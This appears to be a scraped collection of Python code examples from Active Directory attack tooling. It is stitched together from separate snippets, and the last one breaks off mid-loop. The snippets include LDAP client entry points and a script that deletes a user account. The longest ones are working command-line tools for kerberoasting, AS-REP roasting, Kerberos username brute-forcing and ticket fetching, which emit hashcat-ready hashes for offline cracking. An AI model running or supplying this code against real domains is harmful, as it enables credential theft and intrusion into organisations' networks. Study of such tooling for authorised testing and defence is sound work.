Beispiel #1
0
def main():
    import argparse
    parser = argparse.ArgumentParser(description='MS LDAP library')
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Verbosity, can be stacked')
    parser.add_argument('-n', '--no-interactive', action='store_true')
    parser.add_argument('url', help='Connection string in URL format.')
    parser.add_argument(
        'commands',
        nargs='*',
        help=
        "Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell."
    )

    args = parser.parse_args()

    ###### VERBOSITY
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        sockslogger.setLevel(logging.DEBUG)
        logger.setLevel(logging.DEBUG)
        logging.basicConfig(level=logging.DEBUG)

    asyncio.run(amain(args))
Beispiel #2
0
def main():
	import os
	import argparse
	parser = argparse.ArgumentParser(description='auto collector for MP')
	#parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked')
	#parser.add_argument('sql', help='SQL connection string in URL format')
	parser.add_argument('-q', '--sqlite_folder_path', default='./workdir', help='A folder to store enumeration results in')
	parser.add_argument('-m', '--multiplexor', default = 'ws://127.0.0.1:9999', help='multiplexor connection string in URL format')
	parser.add_argument('-p', '--parallel_cnt', default = get_cpu_count(), type=int, help='agent count')
	parser.add_argument('-o', '--progress-out-file', default = None, help='Filename to write progress to')
	parser.add_argument('-s', '--start-ui', action='store_true', help='Automatically start jackdaw UI after successful enumeration')

	args = parser.parse_args()

	logging.basicConfig(level=logging.DEBUG)
	msldaplogger.setLevel(logging.INFO)
	smblogger.setLevel(1)
	logging.getLogger('websockets.server').setLevel(logging.ERROR)
	logging.getLogger('websockets.client').setLevel(logging.ERROR)
	logging.getLogger('websockets.protocol').setLevel(logging.ERROR)
	logging.getLogger('aiosmb').setLevel(100)
	logging.getLogger('asysocks').setLevel(100)

	
	mas = MultiplexorAutoStart(args.multiplexor, args.sqlite_folder_path, parallel_cnt=args.parallel_cnt, progress_file_name = args.progress_out_file, start_ui = args.start_ui)
	asyncio.run(mas.run())
Beispiel #3
0
def main():
    import argparse
    parser = argparse.ArgumentParser(description='MS LDAP library')
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Verbosity, can be stacked')
    parser.add_argument('-n', '--no-interactive', action='store_true')
    parser.add_argument('url', help='Connection string in URL format.')

    args = parser.parse_args()

    ###### VERBOSITY
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        sockslogger.setLevel(logging.DEBUG)
        logger.setLevel(logging.DEBUG)
        logging.basicConfig(level=logging.DEBUG)

    ldap_url = MSLDAPURLDecoder(args.url)
    compdomlist = MSLDAPCompDomainList(ldap_url)

    asyncio.run(compdomlist.run())
Beispiel #4
0
	def run_live(self, args):
		from msldap import logger as ldaplogger
		from msldap.examples.msldapclient import amain
		from winacl.functions.highlevel import get_logon_info
		info = get_logon_info()

		logonserver = info['logonserver']
		if args.host is not None:
			logonserver = args.host

		ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)

		if args.verbose == 0:
			ldaplogger.setLevel(100)
		elif args.verbose == 1:
			print('Using the following auto-generated URL: %s' % ldap_url)
			ldaplogger.setLevel(level=logging.INFO)
		else:
			level = 5 - args.verbose
			ldaplogger.setLevel(level=level)

		if args.liveldapcommand == 'client':
			la = LDAPCMDArgs()
			la.url = ldap_url
			la.verbose = args.verbose

			if args.commands is not None and len(args.commands) > 0:
				la.commands = []
				if args.commands[0] == 'help':
					la.commands = ['help']
				else:
					if args.commands[0] != 'login':
						la.commands.append('login')
					
					for command in args.commands:
						la.commands.append(command)

			asyncio.run(amain(la))
Beispiel #5
0
    #if err is not None:
    #	print(err)

    #changes = {
    #	'unicodePwd': [('replace', ['"TESTPassw0rd!1"'])],
    #	#'lockoutTime': [('replace', [0])]
    #}

    #res, err = await client.modify(user, changes)
    #if err is not None:
    #	print('ERR! %s' % err)
    #else:
    #	print('OK!')

    res, err = await client.delete(user)
    if err is not None:
        print('ERR! %s' % err)

    await client.disconnect()


if __name__ == '__main__':
    from msldap import logger
    from msldap.commons.credential import MSLDAPCredential, LDAPAuthProtocol
    from msldap.commons.target import MSLDAPTarget
    from msldap.protocol.query import query_syntax_converter

    logger.setLevel(2)

    asyncio.run(amain())
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description=
        'Tool to perform kerberoast attack against service users in MS Active Directory'
    )
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap', help='Enumerate potentially vulnerable users via LDAP')
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument(
        'user',
        help=
        'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>'
    )
    ldap_group.add_argument('-n',
                            '--ntlm',
                            action='store_true',
                            help='Indicate if password is actually an NT hash')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')
    ldap_group.add_argument(
        '-s',
        '--use-sspi',
        action='store_true',
        help=
        'Use built-in windows SSPI for authentication. No credentials needed, will use the current user context.'
    )

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast', help='Perform spn roasting (aka kerberoasting)')
    spnroast_group.add_argument(
        'logincreds',
        help=
        'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.'
    )
    spnroast_group.add_argument(
        '-n',
        '--ntlm',
        action='store_true',
        help='Indicate if password is actually an NT hash')
    spnroast_group.add_argument(
        '-a',
        '--aes',
        action='store_true',
        help=
        'Indicate if password is actually an AES key (AES128 and AES256 agnostic)'
    )
    spnroast_group.add_argument(
        '-d',
        '--des',
        action='store_true',
        help=
        'Indicate if password is actually an DES key (if DC allows this there are waay more issues than kerberoast)'
    )
    spnroast_group.add_argument(
        '-c',
        '--ccache',
        action='store_true',
        help='Indicate if target is actually a CCACHE file')
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'auto':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        target_server = MSLDAPTargetServer(args.dc_ip)
        ldap = MSLDAP(None, target_server, use_sspi=True)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        for user in ldap.get_all_knoreq_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        for user in ldap.get_all_service_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosSocket(args.address)
            ar = APREPRoast(ks)
            results += ar.run(creds, override_etype=[args.etype])

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'spnroast-sspi':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    spn_name = '%s@%s' % (username, domain)
                    targets.append(spn_name)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                spn_name = '%s@%s' % (username, domain)
                targets.append(spn_name)

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.ccache:
            raise Exception('Not implemented yet!')

        else:
            domain, username, password, target = from_target_string(
                args.logincreds)
            if not password:
                password = getpass.getpass()

            if not domain:
                raise Exception(
                    'Missing domain from kerberos logon credentials')

            if not username:
                raise Exception(
                    'Missing username from kerberos logon credentials')

            if not target:
                raise Exception(
                    'Missing target from kerberos logon credentials')

            cred = KerberosCredential()
            cred.domain = domain
            cred.username = username

            if args.ntlm:
                cred.nt_hash = password

            elif args.aes:
                if len(password) == 32:
                    cred.kerberos_key_aes_128 = password
                elif len(password) == 64:
                    cred.kerberos_key_aes_256 = password
                else:
                    raise Exception(
                        'Kerberos logon credential AES keysize incorrect!')

            else:
                cred.password = password

            ks = KerberosSocket(target)
            ar = Kerberoast(cred, ks)

            if args.etype:
                if args.etype == -1:
                    etypes = [23, 17, 18]
                else:
                    etypes = [args.etype]
            else:
                etypes = [23, 17, 18]

            logging.debug(
                'Kerberoast will suppoort the following encryption type(s): %s'
                % (','.join(str(x) for x in etypes)))

            hashes = ar.run(targets, override_etype=etypes)

            if args.out_file:
                with open(args.out_file, 'w') as f:
                    for thash in hashes:
                        f.write(thash + '\r\n')

            else:
                for thash in hashes:
                    print(thash)

            logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        logging.debug(
            'ASREPRoast will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds, override_etype=[args.etype])

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+] Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        domain, username, password, target = from_target_string(args.user)
        if not password:
            password = getpass.getpass()
        ldap_server = MSLDAPTargetServer(target)
        creds = MSLDAPUserCredential(username=username,
                                     domain=domain,
                                     password=password,
                                     is_ntlm=args.ntlm)
        ldap = MSLDAP(creds, ldap_server, use_sspi=args.use_sspi)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in ldap.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in ldap.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in ldap.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in ldap.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in ldap.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in ldap.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in ldap.pagedsearch(self, args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in ldap.pagedsearch(self, args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Beispiel #7
0
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description='Tool to perform verious kerberos security tests',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberoast_epilog)
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        help='Enumerate potentially vulnerable users via LDAP',
        epilog=MSLDAPURLDecoder.help_epilog)
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument('ldap_url', help='LDAP connection URL')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast',
        help='Perform spn roasting (aka kerberoasting)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    spnroast_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    tgt_group = subparsers.add_parser(
        'tgt',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgt_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgt_group.add_argument('out_file', help='Output CCACHE file')

    tgs_group = subparsers.add_parser(
        'tgs',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgs_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgs_group.add_argument(
        'spn',
        help=
        'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>'
    )
    tgs_group.add_argument('out_file', help='Output CCACHE file')

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    auto_group.add_argument('-e',
                            '--etype',
                            default=23,
                            const=23,
                            nargs='?',
                            choices=[23, 17, 18],
                            type=int,
                            help='Set preferred encryption type')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'tgs':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        domain, hostname = args.spn.split('/')

        target = KerberosTarget()
        target.username = hostname
        target.domain = domain

        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.get_TGS(target)
        comm.ccache.to_file(args.out_file)

    elif args.command == 'tgt':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.ccache.to_file(args.out_file)

    elif args.command == 'auto':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        connection = msldap_url.get_connection()
        connection.connect()

        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        for user in connection.get_all_knoreq_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        for user in connection.get_all_service_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosSocket(domain)
            ar = APREPRoast(ks)
            results += ar.run([cred], override_etype=[args.etype])

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'spnroast-sspi':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    spn_name = '%s@%s' % (username, domain)
                    targets.append(spn_name)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                spn_name = '%s@%s' % (username, domain)
                targets.append(spn_name)

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
